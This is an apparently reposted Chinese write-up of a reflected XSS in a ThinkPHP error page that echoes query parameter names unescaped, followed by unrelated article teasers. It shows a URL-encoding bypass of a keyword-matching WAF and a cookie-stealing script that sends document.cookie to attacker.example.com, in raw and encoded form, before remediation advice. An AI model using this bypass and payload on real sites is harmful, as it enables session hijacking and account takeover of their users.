反射型跨站點腳本(XSS)漏洞中網絡安全防火墻(WAF)被繞過進行內容植入與遠程劫持機制分析

在一次安全測試中,我發現目標站點在錯誤處理頁面對用戶輸入的查詢參數名未做任何轉義,當參數名中包含 <script> 標簽時,頁面會原樣渲染并執行其中的 JavaScript。本文將從實戰角度,詳細講解如何定位該反射型 XSS 漏洞、通過 URL 編碼繞過 WAF 攔截,以及最終利用 PoC 在瀏覽器端觸發 alert 彈窗的全過程。

一、漏洞定位與原理

1.訪問錯誤頁面及確認反射點:

對某網址 https://xxxxxxx/index/newslist/newsinfo.html 加入任意參數(如 ?foo=1),觸發 ThinkPHP 拋出異常的錯誤頁,并在“GET Data”區域看到未轉義的 foo,發現加入的任意參數直接反映在文本元素,表明 ThinkPHP 將 GET 參數名當作方法參數名并渲染到模板中,由此定位源碼位置。

2.錯誤位點代碼刨析及進一步測試:

2.1?錯誤頁面中“GET Data”渲染位置

<div class="exception-var"><h3 class="subheading">GET Data</h3><div class="clearfix"><div class="col-md-3"><strong>foo</strong></div><div class="col-md-9"><small>1</small></div></div>…
</div>
<strong>foo</strong> 

正是用戶在 URL 中以 ?foo=1 提交的參數名被原樣輸出的位置。

該 <strong> 標簽位于 <body> 內容區,瀏覽器會將其中的內容當作合法 HTML 片段直接渲染。

2.2?反射點觸發測試及WAF繞過機制

HTML 元素內容(Element Content),不在屬性或 JavaScript 字符串里,若將 foo 替換成

<script>alert(1)</script>

則頁面會直接觸發網絡防火墻的攔截機制,這里被“G01”WAF 攔截,返回提示“含有不合法的參數”。:

到這里我就在思考:既然 WAF 的“G01”規則是基于對 <script> onerror 等經典 XSS 特征關鍵字的簡單匹配的通用規則。當你發出含有 <script> 關鍵字的請求時,WAF 會直接攔截并返回“含有不合法參數”的提示。只要我的 payload 中保留了這幾個字符,都會被攔截,那么我是否可以通過對 <>() 等關鍵字符做 URL 編碼或者大小寫混合,來“隱身”進入服務器而不觸發規則?首先,我想到對整個標簽進行百分號編碼:

%3Cscript%3Ealert(1)%3C%2Fscript%3E

將這段編碼后的字符串放到參數名的位置,構造 URL:

https://…/newsinfo.html?%3Cscript%3Ealert(1)%3C%2Fscript%3E=1

似乎依然會被攔截。

G01 規則多是大小寫不敏感的,但對連續關鍵字匹配敏感,我們再次針對以上URL中(1)進行URL編碼根據Unicode規則%28為

(

%29為

)

所以構造的URL編碼為:

?%3Cscript%3Ealert%281%29%3C%2Fscript%3E=1

其解碼等同于

<script>alert(1)</script>=1

當這段 <script>alert(1)</script> 被服務器“原樣”反射到頁面上,并且未做任何轉義時,瀏覽器就會執行它。至此我們再次訪問該地址

表明WAF 繞過成功且XSS 漏洞已被成功利用,服務器沒有對用戶輸入的 <script> 標簽做任何過濾或轉義,直接反射到頁面,瀏覽器正常執行了腳本。alert(1) 這行 JavaScript 的效果是彈出對話框,顯示數字 1。所以你看到的彈窗內容是 “1”,而不是字面上的 alert(1)。

alert() 函數把它的參數原樣當作要顯示的內容。你傳進去的是數字 1,所以彈窗只顯示 1。如果你想驗證文字“XSS被執行",可以改成:

如果有非法分子利用醫療機構掛號預訂網站的類似漏洞,通過遠程劫持,即可構造出具有欺詐性的界面,并同時結合社會工程學手段進行進一步攻擊。此處給出一個簡單的惡意信息例如:

由此可見,WAF 僅基于簡單關鍵字匹配,缺乏對 URL 解碼與多樣化 payload 的深入檢測,而后端又未對反射點做任何輸出轉義,于是繞過與利用便水到渠成。

2.3 進一步確認與遠程劫持

在成功壓制 WAF 攔截后,我進一步在 DevTools → Elements 中確認,頁面的 DOM 結構正如預期:

并且在 Console 標簽頁中能看到 alert 的日志,說明腳本已完整執行。這不僅意味著反射型 XSS 漏洞確實存在,而且由于篡改發生在參數名層面,更難以通過常規的參數值過濾策略檢測到。

利用此反射型 XSS 漏洞,攻擊者只需將如下惡意腳本作為參數名注入,即可在受害者瀏覽器中自動竊取其會話 Cookie 并上報到自己可控的服務器,從而實現遠程會話劫持:

<script>new Image().src="https://attacker.example.com/steal?cookie="+encodeURIComponent(document.cookie);
</script>

具體流程是:當受害者點擊含有

%3Cscript%3Enew Image().src%3D%22https%3A%2F%2Fattacker.example.com%2Fsteal%3Fcookie%3D%22%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E

的惡意鏈接后,瀏覽器會執行該腳本,將其 Cookie 以 GET 請求的形式發送給攻擊者;然后攻擊者只需在自己的腳本服務器(例如 attacker.example.com)上監聽并記錄來訪請求,就能獲得該用戶的 SessionID 或認證令牌,使用這些令牌偽造合法請求,以該用戶身份在目標站點進行任意操作,完成遠程會話劫持。

3.漏洞根源:

源碼顯示,這段邏輯源于 ThinkPHP 在拋出 InvalidArgumentException('method param miss:'.$name) 后渲染異常變量時,直接將 $name(即查詢參數名)拼入 HTML:

缺少 htmlspecialchars($key, ENT_QUOTES, 'UTF-8') 之類的實體化處理。導致任意 HTML 標簽或 JavaScript 片段都可通過參數名被注入并執行。

4.?后記-修復建議:

小白的一次簡單的測試,提不出什么好的意見,以下僅供參考:

首先應該在框架層對所有用戶輸入(包括查詢參數名和值)統一使用 htmlspecialchars 等 HTML 實體化函數進行轉義,并升級到最新 ThinkPHP 版本;在應用層嚴格采用參數白名單和類型校驗,只接受預期字段,其余一律拒絕;在視圖模板中統一使用轉義過濾器輸出動態內容;運維層通過配置嚴格的 Content Security Policy(CSP)禁止內聯腳本,并精細化 WAF 規則,不再簡單匹配 <script> 關鍵字。

免責聲明

本文僅用于技術討論與學習,利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/88949.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/88949.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/88949.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

RAG實戰指南 Day 15:多語言與領域特定嵌入技術

【RAG實戰指南 Day 15】多語言與領域特定嵌入技術 引言 歡迎來到"RAG實戰指南"系列的第15天&#xff01;今天我們將深入探討多語言與領域特定嵌入技術——這是構建全球化、專業化RAG系統的關鍵技術。在現實業務場景中&#xff0c;我們經常需要處理多種語言的文檔&a…

無鉛PCB和無鹵pcb有什么區別?

在電子制造領域&#xff0c;環保法規的升級催生了多種特殊工藝的PCB產品。其中&#xff0c;無鉛PCB與無鹵PCB作為兩大主流方向&#xff0c;雖同屬綠色制造范疇&#xff0c;卻在技術路徑與應用場景上存在本質差異。環保指向的根本區別無鉛PCB的核心在于焊接材料的革新。傳統PCB采…

基于51單片機的貪吃蛇游戲Protues仿真設計

目錄 1 系統設計目的 2 系統實現功能 3 系統硬件設計 3.1系統設計框圖 3.2 液晶顯示模塊LCD12864 3.3 按鍵輸入模塊 3.4 時鐘電路和復位電路 4 系統軟件設計 4.1系統軟件流程 4.2 游戲引擎模塊程序設計 4.3 顯示模塊程序設計 4.4 輸入處理模塊程序設計 5 系統仿真…

HTML+CSS

一、HTML相關內容- <img> 標簽&#xff1a;- 用于在網頁中嵌入圖像&#xff0c; src 屬性指定圖像的路徑&#xff0c;可以是絕對路徑&#xff08;如 D:\Git\java115_java116\課堂代碼\前端代碼\pic\cat.jpg &#xff09;、相對路徑&#xff08;如 ./pic/cat.jpg &#x…

基于 Gitlab、Jenkins與Jenkins分布式、SonarQube 、Nexus 的 CiCd 全流程打造

前言 在當今數字化飛速發展的時代&#xff0c;軟件開發與交付的效率和質量成為了企業競爭的關鍵要素。為了滿足市場對軟件快速迭代和高質量交付的需求&#xff0c;越來越多的企業開始探索和實踐持續集成與持續交付&#xff08;CI/CD&#xff09;的開發模式。而 GitLab、Jenkin…

[密碼學實戰]密評相關題庫解析

[密碼學實戰]密評相關題庫解析 一、背景 依據《密碼法》第二十二條&#xff0c;關鍵信息基礎設施&#xff08;關基&#xff09;運營者必須開展商用密碼應用安全性評估&#xff0c;且需定期進行&#xff08;不少于每年一次&#xff09;。 二、核心解析 2.1 測評標準框架&#x…

谷歌開源庫gflags詳細說明

目錄 一.gflags 介紹 二.gflags安裝 三.gflags使用 1.包含頭文件 2.定義參數 3.訪問參數 4.不同文件訪問參數 5.初始化所有參數 6.運行參數設置 7.配置文件的使用 8.特殊參數標識 四.總結 一.gflags 介紹 gflags 是 Google 開發的一個開源庫&#xff0c;用于 C 應用…

Python爬蟲實戰:研究XlsxWriter 庫相關技術

1. 研究背景與意義 1.1 網絡爬蟲技術價值 網絡爬蟲作為數據采集的核心工具,在金融、醫療、教育等領域發揮關鍵作用。據 Statista 數據顯示,2025 年全球大數據市場規模預計達 3250 億美元,高效的數據獲取能力成為企業核心競爭力。Python 以其 80% 的市場占有率成為爬蟲開發首…

ThreadLocal內部結構深度解析(Ⅰ)

目錄 使用ThreadLocal 例子 內部結構分析 源碼解析 圖示詳解 ThreadLocal是Java中一個非常重要且常用的線程局部變量工具類&#xff0c;它使得每個線程可以獨立地持有自己的變量副本&#xff0c;而不是共享變量&#xff0c;解決了多線程環境下變量共享的線程安全問題。下面我…

Python 數據挖掘之數據探索

在數據挖掘的流程中&#xff0c;數據探索是非常關鍵的第一步&#xff0c;它能幫助我們深入了解數據的特點&#xff0c;為后續的預處理和模型構建打下堅實的基礎。我們主要圍繞四個方面展開&#xff1a;數據對象與特征、數據統計描述、數據可視化以及相關性和相似性度量。一、數…

高并發點贊場景Synchronized、AtomicLong、LongAdder 和 LongAccumulator性能分析

在高并發點贊場景中&#xff0c;我們需要一個高效、線程安全的計數器來記錄點贊數。synchronized、AtomicLong、LongAdder 和 LongAccumulator 都是 Java 中用于實現原子操作的類&#xff0c;但它們的性能在高并發下差異顯著。性能主要取決于線程競爭程度&#xff1a;競爭越高&…

postgreSQL的sql語句

目錄 一&#xff1a;前提準備1.postgreSQL的安裝可以參考我下面一片文章&#xff1a; 二&#xff1a;SQL語句 1.相同點&#xff1a;支持標準sql類型 2.參考詳細學習地址&#xff1a; 3.postgresql與mysql的不同點 一&#xff1a;前提準備 1.postgreSQL的安裝可以參考我下面…

vue3 JavaScript 數據累加 reduce

在Vue 3中&#xff0c;你可以使用JavaScript的reduce方法來處理數據累加。reduce方法通常用在數組上&#xff0c;它將數組中的每個元素通過一個累加器函數&#xff08;accumulator&#xff09;從左到右累積&#xff0c;最終生成一個單一的值。這在計算總和、累加值等場景中非常…

史上最清楚!讀者,寫者問題(操作系統os)

讀者-寫者問題是另一個里程碑式的同步互斥問題。它比生產者-消費者更復雜&#xff0c;因為它引入了不對稱的訪問權限&#xff1a;讀者和讀者之間是共享的&#xff0c;但寫者和任何人&#xff08;包括讀者和其他寫者&#xff09;之間都是互斥的。我們用一個生動的比喻來解析這個…

使用Starrocks替換Clickhouse的理由

背景 Starrocks和clickhouse都是非常優秀的OLAP數據庫&#xff0c;那么什么情況下使用clickhouse&#xff0c;什么場景下使用starrocks呢&#xff0c;本文就簡單列舉一下他們的優缺點 理由 首先兩者都是列存儲&#xff0c;并且都實現了列壓縮&#xff0c;所以從存儲中兩者的壓縮…

Mybatis 兩級緩存可能導致的問題

Mybatis 兩級緩存可能導致的問題兩級緩存簡介一級緩存 localCache效果開關二級緩存兩級緩存可能導致的問題分布式環境下查詢到過期數據事務隔離級別失效讀已提交失效讀未提交失效總結兩級緩存簡介 一級緩存 localCache 效果 一級緩存是 session 或者說事務級別的&#xff0c…

vue3+uniapp 使用vue-plugin-hiprint中實現打印效果

前言&#xff1a; vue3uniapp 使用vue-plugin-hiprint中實現打印效果 官網地址&#xff1a;gitee https://gitee.com/ccsimple/vue-plugin-hiprinthttps://gitee.com/ccsimple/vue-plugin-hiprint 實現效果&#xff1a; 預覽打印內容&#xff1a; 實現步驟&#xff1a; 1、安…

【elementUI踩坑記錄】解決 el-table 固定列 el-table__fixed 導致部分滾動條無法拖動的問題

目錄一、問題背景二、 問題現象三、核心原因四、解決辦法增強方案&#x1f680;寫在最后一、問題背景 在使用 Element UI 的 el-table 組件時&#xff0c;固定列功能雖然實用&#xff0c;但會引發滾動條交互問題&#xff1a; 固定列區域懸浮顯示滾動條但無法正常拖動滾動條 …

【機器人編程基礎】python文件的打開和關閉

文件的打開和關閉 在Python中,文件操作是一項基本而重要的任務,涉及到打開、讀取、寫入、關閉文件等操作。正確地管理文件對于數據持久化、輸入輸出處理等至關重要。下面將詳細解釋如何在Python中打開和關閉文件,并提供相應的代碼示例。 文件打開 在Python中,可以使用內…

ShenYu實戰、問題記錄

概述 一款高性能的國產的Apache開源API網關&#xff0c;官方文檔。 在ShenYu v2.6.1, ShenYu注冊中心只支持http類型&#xff0c;中間件注冊類型已經被移除。 所以&#xff0c;請使用http注冊類型來注冊你的服務。不是微服務注冊中心&#xff0c;它只是將元數據、選擇器數據、…